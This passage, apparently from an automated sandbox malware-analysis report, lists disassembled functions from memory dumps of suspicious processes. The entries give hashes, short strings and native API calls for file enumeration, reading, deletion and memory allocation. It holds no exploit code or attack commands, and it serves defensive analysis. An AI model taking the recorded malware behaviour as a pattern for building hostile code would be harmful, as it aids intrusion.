Instruction Fuzzy Hash: A3114C71C002086ADF20EF9CDC056EE7BBCFF85350F004A6AE8187B240E7B64A4587D1

Function 03982008 Relevance: 6.4, Strings: 5, Instructions: 200COMMON

Download Yara Rule

Strings

l, xrefs: 0398205A
o, xrefs: 0398204C
, xrefs: 0398203E
i, xrefs: 03982053
u, xrefs: 03982045

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $i$l$o$u
API String ID: 0-2051669658
Opcode ID: 1cf54a7e232844d6ae86ad26ee947761b07d77657f77e125d3720d7a95d0e325
Instruction ID: 9c230286593c9fd3c5757cb8fc7ec9e8e678fb77b2aca17d083cb632d99cf009
Opcode Fuzzy Hash: 1cf54a7e232844d6ae86ad26ee947761b07d77657f77e125d3720d7a95d0e325
Instruction Fuzzy Hash: 8A614DB5900308AFDB24EBA4CC84FEFB7FCAB88710F14495DE559A7240E735AA45CB60

Function 03982004 Relevance: 6.4, Strings: 5, Instructions: 128COMMON

Download Yara Rule

Strings

l, xrefs: 0398205A
o, xrefs: 0398204C
, xrefs: 0398203E
i, xrefs: 03982053
u, xrefs: 03982045

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $i$l$o$u
API String ID: 0-2051669658
Opcode ID: ba5bcd8fa3897ba32dcebe0d6e4abe6708d3e04a29a44165d7169beb92f29252
Instruction ID: 604aa87ce2182d8ee74a535cda894e3dd97829b0d87899388c1c817997349e6b
Opcode Fuzzy Hash: ba5bcd8fa3897ba32dcebe0d6e4abe6708d3e04a29a44165d7169beb92f29252
Instruction Fuzzy Hash: 89411AB5900308AFDB24DFA4CC84FEFBBBDEB89700F144559E659A7240D771AA45CB60

Function 03981C98 Relevance: 5.3, Strings: 4, Instructions: 302COMMON

Download Yara Rule

Strings

, xrefs: 03981CC7
e, xrefs: 03981CDC
o, xrefs: 03981CCE
k, xrefs: 03981CD5

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: cd01fa29f12ef4a89fa8c4b3df2c4cd6ab093327c6860d79d5b1e61e18e795a6
Instruction ID: 0a177754959a2be18e4f85024e6900201c4c0aabfbd95fa2511d18fe146a4331
Opcode Fuzzy Hash: cd01fa29f12ef4a89fa8c4b3df2c4cd6ab093327c6860d79d5b1e61e18e795a6
Instruction Fuzzy Hash: 3FB1EDB5A00709AFDB24DBA8CC85FEFB7BDAF88700F148558F659A7240D774AA41CB50

Function 039825B8 Relevance: 5.2, Strings: 4, Instructions: 237COMMON

Download Yara Rule

Strings

h, xrefs: 0398268B
e, xrefs: 03982699
, xrefs: 03982684
o, xrefs: 03982692

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $e$h$o
API String ID: 0-3662636641
Opcode ID: d8e8e9c230eb8c4bfbe8e3279fd04dbc9ad9ac0aad4d47fd5c2656cb99e7910f
Instruction ID: 0fadd58ede0ce224233919e0d965b64a7296201254e83843accae93bed188467
Opcode Fuzzy Hash: d8e8e9c230eb8c4bfbe8e3279fd04dbc9ad9ac0aad4d47fd5c2656cb99e7910f
Instruction Fuzzy Hash: 8E8126B6C002587AEF55EB94CC85FEF73BCEF88700F44459BA5097A140EA746B858FA1

Function 03981C95 Relevance: 5.2, Strings: 4, Instructions: 184COMMON

Download Yara Rule

Strings

, xrefs: 03981CC7
e, xrefs: 03981CDC
o, xrefs: 03981CCE
k, xrefs: 03981CD5

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: 7f814085694ee5a6088f23836e213d3736a94819315eba597c616d3c3503ebf7
Instruction ID: 8ba1d5db689661263d6312d1d00b1aede945878055390fb750781ede2abef922
Opcode Fuzzy Hash: 7f814085694ee5a6088f23836e213d3736a94819315eba597c616d3c3503ebf7
Instruction Fuzzy Hash: A9612FB5A00309AFDB64DFA4CC84FEFB7BDAF88700F148558E619A7245D770AA41CB50

Function 03981B58 Relevance: 5.1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

Strings

FALSETRUE, xrefs: 03981BD8, 03981BDD
TRUE, xrefs: 03981C55
FALSETRUE, xrefs: 03981C00, 03981C03
TRUE, xrefs: 03981BC2, 03981BC5

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
API String ID: 0-2877786613
Opcode ID: bcfde2a39cbcc10fde6eda0cc62268ed18b0410dc89d130bfbf085dabe0370ff
Instruction ID: 47987151dc0acd27d1f509e84f256b5bf02cedaf08810098e65195d5058c4993
Opcode Fuzzy Hash: bcfde2a39cbcc10fde6eda0cc62268ed18b0410dc89d130bfbf085dabe0370ff
Instruction Fuzzy Hash: E2415FB99612187EFB11EF94CC82FEF7B7C9FD5601F40414AFA04AA180D7746A0587E6

Function 03981B55 Relevance: 5.1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

Strings

FALSETRUE, xrefs: 03981BD8, 03981BDD
TRUE, xrefs: 03981C55
FALSETRUE, xrefs: 03981C00, 03981C03
TRUE, xrefs: 03981BC2, 03981BC5

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
API String ID: 0-2877786613
Opcode ID: 598deea602c8e6aebd8fd85f7f9b10ac34afdf5f0d680e5b440b9188e455f9be
Instruction ID: a16a74c874ec1eedd636dfdd970ebec5ef007616ac4eb0d43f8ba63190d5b00b
Opcode Fuzzy Hash: 598deea602c8e6aebd8fd85f7f9b10ac34afdf5f0d680e5b440b9188e455f9be
Instruction Fuzzy Hash: 9E315F799612187EFB11EF94CC82FEF7B7C9FD5601F40404AFA04BA190D7746A0587A6

Function 039825B6 Relevance: 5.1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

h, xrefs: 0398268B
e, xrefs: 03982699
, xrefs: 03982684
o, xrefs: 03982692

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $e$h$o
API String ID: 0-3662636641
Opcode ID: 4c1d90d2b365db6384f075bb4256e96827add4c4eee64926d117dac0acc69f75
Instruction ID: 2affdefde42536d72a459821aaaa96b34d9aa44e04d480053ab6c9f8b08a962b
Opcode Fuzzy Hash: 4c1d90d2b365db6384f075bb4256e96827add4c4eee64926d117dac0acc69f75
Instruction Fuzzy Hash: 294114B6C1035C7ADF50DBA4CC85FEE77B8EF48700F40459B9509B6540EA745B848FA5

Function 0397DE48 Relevance: 5.1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

Strings

8, xrefs: 0397DF14
N, xrefs: 0397DF0D
H, xrefs: 0397DF22
m, xrefs: 0397DF1B

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: 8$H$N$m
API String ID: 0-1709245443
Opcode ID: 5dc2adeeb109d427cc00bbfe8d0cad47e8fa681c8b31663cc9f4577332d1f0f5
Instruction ID: 1a5199a94705984d99c669eeee4ab0b51e285e039e36d55ef5836da580dd0456
Opcode Fuzzy Hash: 5dc2adeeb109d427cc00bbfe8d0cad47e8fa681c8b31663cc9f4577332d1f0f5
Instruction Fuzzy Hash: C13152B6910209BBEF00DB98CD41BFE77BCEF49304F004599E908AA240EB759E458BE5

Function 0397F27A Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

k, xrefs: 0397F2BD
e, xrefs: 0397F2C4
o, xrefs: 0397F2B6
, xrefs: 0397F2AF

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: 2a6d54945f9022f07e3a9a4e7a4b65211d87cc5c68b46f799447825434eb618f
Instruction ID: c286bb09bc735234b51da96d865f816e0e571a734d5a23ff6cc1f0fe029803fd
Opcode Fuzzy Hash: 2a6d54945f9022f07e3a9a4e7a4b65211d87cc5c68b46f799447825434eb618f
Instruction Fuzzy Hash: 5811C2B290021CEFDF14DF99D8C4ADEBBB9FF49314F04821AE919AB201E7319505CBA0

Function 0397F288 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

k, xrefs: 0397F2BD
e, xrefs: 0397F2C4
o, xrefs: 0397F2B6
, xrefs: 0397F2AF

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: 3ee721c62ce7c41f67b77345a085c8bc93732c92266275c2d59f8690c5a41bd3
Instruction ID: 048fb20844e3d88acc807002df5895528c9a1859d8ca6409f226a3305c8a6d1c
Opcode Fuzzy Hash: 3ee721c62ce7c41f67b77345a085c8bc93732c92266275c2d59f8690c5a41bd3
Instruction Fuzzy Hash: 3C0184B290031CAFDB14DF98D8C4ADEB7B9FF48314F04865AE915AB201E7719945CBA0

Function 0396BB08 Relevance: 5.0, Strings: 4, Instructions: 24COMMON

Download Yara Rule

Strings

3zv4$, xrefs: 0396BB43, 0396BB4C
$, xrefs: 0396BB2C
3zv4, xrefs: 0396BB23
Vzv230:7"3zv4$, xrefs: 0396BB48, 0396BB4B

Memory Dump Source

Source File: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, Offset: 03960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3960000_xwZkSdnVCDBnu.jbxd

Yara matches

Similarity

API ID:
String ID: $$3zv4$3zv4$$Vzv230:7"3zv4$
API String ID: 0-1400051293
Opcode ID: a449fd97ed931a9a1337997f036e8bed68cd437059f4ef123c4708c4721f6529
Instruction ID: c2cc5acefa577644aac78095c85d63e6d9564a8fd0e39f2dbb7c6bb476664707
Opcode Fuzzy Hash: a449fd97ed931a9a1337997f036e8bed68cd437059f4ef123c4708c4721f6529
Instruction Fuzzy Hash: 00F0307485020CAADB04DFA8C9856DEBB78EB04240F9045A8DD459F241E6B18B058BD7

Analysis Process: ieUnatt.exePID: 1276, Parent PID: 3948COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	4%
Signature Coverage:	1.5%
Total number of Nodes:	475
Total number of Limit Nodes:	77

Executed Functions

Function 03219B10 Relevance: 22.8, Strings: 18, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N, xrefs: 03219E44
f, xrefs: 03219BB3
@u, xrefs: 03219B8B
AY, xrefs: 03219B66
, xrefs: 03219CCA
ox, xrefs: 03219D19
?T, xrefs: 03219C4D
dC, xrefs: 03219B77
#b, xrefs: 03219C10
U2#b, xrefs: 03219FDC
s, xrefs: 03219B9F
H, xrefs: 03219B52
2D, xrefs: 03219C3F
1, xrefs: 03219BBD
@, xrefs: 03219B5C
H~, xrefs: 03219C77
w9, xrefs: 03219CDF
*^, xrefs: 03219BE5

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID:
String ID: $#b$*^$1$2D$?T$@$@u$AY$H$H~$N$U2#b$dC$f$ox$s$w9
API String ID: 0-2158957546
Opcode ID: 033664e302b014b4e238e5f52ed3478a0ac2433acf19da826db86f9e2d738484
Instruction ID: c6428d749a3bcc3dfb9ea006361f4cd92922d53e85ad2969c78dc89044feb86e
Opcode Fuzzy Hash: 033664e302b014b4e238e5f52ed3478a0ac2433acf19da826db86f9e2d738484
Instruction Fuzzy Hash: 96E1E2B0D15229CBEB24CF54CAA4BADBBB2BB54308F1481D9D10D7B281C7B51AD9CF94

Function 0322BFD0 Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00000000), ref: 0322C0AF
FindNextFileW.KERNELBASE(?,00000010), ref: 0322C0EE
FindClose.KERNELBASE(?), ref: 0322C0F9

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: a5e54aa4d2f82ac75b3b5f61746cbb78e13766490a4d6b0bb337a396b9723b99
Instruction ID: 5bc09bd2bdf1162a8d94471f23b1b677bdae6e0cd8b13879301f311191d68950
Opcode Fuzzy Hash: a5e54aa4d2f82ac75b3b5f61746cbb78e13766490a4d6b0bb337a396b9723b99
Instruction Fuzzy Hash: ED3164B5910719BBDB20DF60CC85FEF777CAB44745F144458B544AB180DAB0AAD48BA0

Function 032389C0 Relevance: 1.6, APIs: 1, Instructions: 101filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,06B611D6,?,?,?,?,?,?,?,?,?), ref: 03238AB8

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fd5a625bb81c2337e524eb3fe1b921e1f8728350ddcfbde0e4743b05e1da8857
Instruction ID: e9dd45620114a98b6361f5ab3b07f198a470df1f31fee5bf98da9c907aa2a813
Opcode Fuzzy Hash: fd5a625bb81c2337e524eb3fe1b921e1f8728350ddcfbde0e4743b05e1da8857
Instruction Fuzzy Hash: AC31D6B5A11248AFDB14DF99D840EEFB7F9EF89700F108209F919A7340D774A951CBA4

Function 03238B20 Relevance: 1.6, APIs: 1, Instructions: 93filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,06B611D6,?,?,?,?,?,?,?), ref: 03238C03

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3d104744ebe8acaf9ec54abf90b14a3cc78ff5fc03015d6e3da3df82d4ade34f
Instruction ID: 284fdd40d8b2fa7b38b17dc11b0a6c256b94cc269faf940bf032ca79abd5caf5
Opcode Fuzzy Hash: 3d104744ebe8acaf9ec54abf90b14a3cc78ff5fc03015d6e3da3df82d4ade34f
Instruction Fuzzy Hash: 6A31E7B5A00248AFDB04DF99D841EEFB7F9EF89714F008209F919AB340D774A851CBA4

Function 03238E00 Relevance: 1.6, APIs: 1, Instructions: 81memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(032217FB,06B611D6,0323798F,00000000,00000004,00003000,?,?,?,?,?,0323798F,032217FB), ref: 03238EC2

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 5c9e9ee626a7e7b8b0c6e6f768739af3bc718c6d600b74d334166e7a47a84f3b
Instruction ID: 62a3ed66eea9686b435ec769318f2adc97f1ded4748c679d34cee007a441a733
Opcode Fuzzy Hash: 5c9e9ee626a7e7b8b0c6e6f768739af3bc718c6d600b74d334166e7a47a84f3b
Instruction Fuzzy Hash: 35212BB5A10349ABDB10DF98DC41EEFB7B9EF89700F008119FD199B240D7B4A951CBA5

Function 03238C10 Relevance: 1.6, APIs: 1, Instructions: 61filenativeCOMMON

Download Yara Rule

APIs

NtDeleteFile.NTDLL(?), ref: 03238CA0

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8fa01f27c7d2a94d8e64adcdf6cbce2e7d4e070d4c0a26991eac1d178eb85420
Instruction ID: 7a887757fff88d4ca7e55289cb53fb3ca25dbdcbe91f993a8ef3eef547c8ef72
Opcode Fuzzy Hash: 8fa01f27c7d2a94d8e64adcdf6cbce2e7d4e070d4c0a26991eac1d178eb85420
Instruction Fuzzy Hash: 7E11A3B59113096ED610EB99DC41FEFB3ACEF86714F004109F9195B180D7B47551CBE5

Function 03238CB0 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 03238CE4

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
Instruction ID: 7496381e41af6cae2b71de9d574a2e5f582c83f33ccc97578a6dee7e05b6af14
Opcode Fuzzy Hash: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
Instruction Fuzzy Hash: D6E086752003047BC610EB59EC00F9B775CDFC6B14F004015FA08AB141C7B5BA1087F4

Function 051435C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 051435CA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 892a09855521812f487bfa68fd13b92e76529d09c2da6531c9a06a177935e455
Instruction ID: f6a678c4e3750ad506c89a613023b45cd100fa337dcc5968a3bc38875a06a299
Opcode Fuzzy Hash: 892a09855521812f487bfa68fd13b92e76529d09c2da6531c9a06a177935e455
Instruction Fuzzy Hash: 6390023260550452D10071588654706101587D0211FB5C411B4525568D87A98A5169A2

Function 05144650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0514465A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 74b2d5888df4d730f904d3a1e5bd46d4cd0c6ab1b2ced7555da500026217a203
Instruction ID: daf5ac90a6be8df35151d42c4da77f8de2522cb20521baa5b0001cb0cea7fc18
Opcode Fuzzy Hash: 74b2d5888df4d730f904d3a1e5bd46d4cd0c6ab1b2ced7555da500026217a203
Instruction Fuzzy Hash: 5F90026260150092414071588944406601597E13113E5C115B4655560C872C89559669

Function 05144340 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0514434A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f444e8f4d6ce0bb9e061cdce67d179c8cdcb3507060ad8daab8a415b8fdce065
Instruction ID: f9b30bd9e4d37f77a5ace3edeffc3500937a6eb41ddd6b979a399744181fea35
Opcode Fuzzy Hash: f444e8f4d6ce0bb9e061cdce67d179c8cdcb3507060ad8daab8a415b8fdce065
Instruction Fuzzy Hash: B6900232605800629140715889C4546401597E0311BA5C011F4525554C8B288A565761

Function 05142D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142D1A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4ba9f03c1c54467a6151b26aede9e536937e50606a422d9021d9fad221539f76
Instruction ID: c064eaaccf6c7d5fc0f6b70ec7a799c97862fa044b4d9e80bf41efae9fde9533
Opcode Fuzzy Hash: 4ba9f03c1c54467a6151b26aede9e536937e50606a422d9021d9fad221539f76
Instruction Fuzzy Hash: EF90022A21340052D1807158954860A001587D1212FE5D415B4116558CCA2989695721

Function 05142D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142D3A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f5f5be2a0dee0fd9e9c69f95ec2736f1c5531d324fba5565c840e21b3a636a05
Instruction ID: d0a7374e7b3efec9834b8d402d1a4f4c6b8f1b29f997df0bc1a5349f5b285fe9
Opcode Fuzzy Hash: f5f5be2a0dee0fd9e9c69f95ec2736f1c5531d324fba5565c840e21b3a636a05
Instruction Fuzzy Hash: CE90022230140053D140715895586064015D7E1311FA5D011F4515554CDA2989565622

Function 05142DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142DDA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 30a597221717d58ce28465cdf1be8464af732f9e774226c443b09bcb3e82331a
Instruction ID: c87593201271aa94ad8e78d558b4de90828e1f51f2ba4700544b33231c350f06
Opcode Fuzzy Hash: 30a597221717d58ce28465cdf1be8464af732f9e774226c443b09bcb3e82331a
Instruction Fuzzy Hash: DA900222242441A25545B1588544507401697E02517E5C012B5515950C863A9956DA21

Function 05142DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142DFA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 11183ecd88394e48692e690503ed229979eeeb47354d78c1a387dbf15c063bd2
Instruction ID: 19a13ea026c7d1346755fb83bfba3d97bbdf96cbd86a7b71ad4f96bcc9e8d546
Opcode Fuzzy Hash: 11183ecd88394e48692e690503ed229979eeeb47354d78c1a387dbf15c063bd2
Instruction Fuzzy Hash: 0A90023220140463D11171588644707001987D0251FE5C412B4525558D976A8A52A521

Function 05142C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142C7A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ac4ab698de29261bde8cb8cf32ce416f5175e04554af1ccdb761101e6eb7bc5a
Instruction ID: 048232707d9b73bd377dd3009d6f738c0658ed5c96a32a80cc6deb83549c9389
Opcode Fuzzy Hash: ac4ab698de29261bde8cb8cf32ce416f5175e04554af1ccdb761101e6eb7bc5a
Instruction Fuzzy Hash: 2690023220148852D1107158C54474A001587D0311FA9C411B8525658D87A989917521

Function 05142C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142C6A
